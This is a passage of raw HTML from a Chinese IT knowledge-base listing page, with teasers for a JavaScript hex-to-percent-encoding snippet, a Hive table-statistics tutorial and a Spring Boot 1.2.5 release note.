href="/search/%E5%AD%A6%E4%B9%A0%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83/1.htm">学习永无止境</a><a class="tag" taget="_blank" href="/search/%E7%BA%B5%E8%A7%82%E5%8D%83%E8%B1%A1/1.htm">纵观千象</a><a class="tag" taget="_blank" href="/search/regex/1.htm">regex</a> <div>var v = 'C9CFBAA3CAD0'; console.log(v); var arr = v.split(''); for (var i = 0; i < arr.length; i ++) { if (i % 2 == 0) arr[i] = '%' + arr[i]; } console.log(arr.join('')); console.log(v.r</div> </li> <li><a href="/article/3611.htm" title="[一起学Hive]之十五-分析Hive表和分区的统计信息(Statistics)" target="_blank">[一起学Hive]之十五-分析Hive表和分区的统计信息(Statistics)</a> <span class="text-muted">superlxw1234</span> <a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a><a class="tag" taget="_blank" href="/search/hive%E5%88%86%E6%9E%90%E8%A1%A8/1.htm">hive分析表</a><a class="tag" taget="_blank" href="/search/hive%E7%BB%9F%E8%AE%A1%E4%BF%A1%E6%81%AF/1.htm">hive统计信息</a><a class="tag" taget="_blank" href="/search/hive+Statistics/1.htm">hive Statistics</a> <div>关键字：Hive统计信息、分析Hive表、Hive Statistics   类似于Oracle的分析表，Hive中也提供了分析表和分区的功能，通过自动和手动分析Hive表，将Hive表的一些统计信息存储到元数据中。   表和分区的统计信息主要包括：行数、文件数、原始数据大小、所占存储大小、最后一次操作时间等；   14.1 新表的统计信息 对于一个新创建</div> </li> <li><a href="/article/3738.htm" title="Spring Boot 1.2.5 发布" target="_blank">Spring Boot 1.2.5 发布</a> <span class="text-muted">wiselyman</span> <a class="tag" taget="_blank" href="/search/spring+boot/1.htm">spring boot</a> <div>    Spring Boot 1.2.5已在7月2日发布，现在可以从spring的maven库和maven中心库下载。   这个版本是一个维护的发布版，主要是一些修复以及将Spring的依赖提升至4.1.7(包含重要的安全修复)。   官方建议所有的Spring Boot用户升级这个版本。   项目首页 | 源</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类：</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>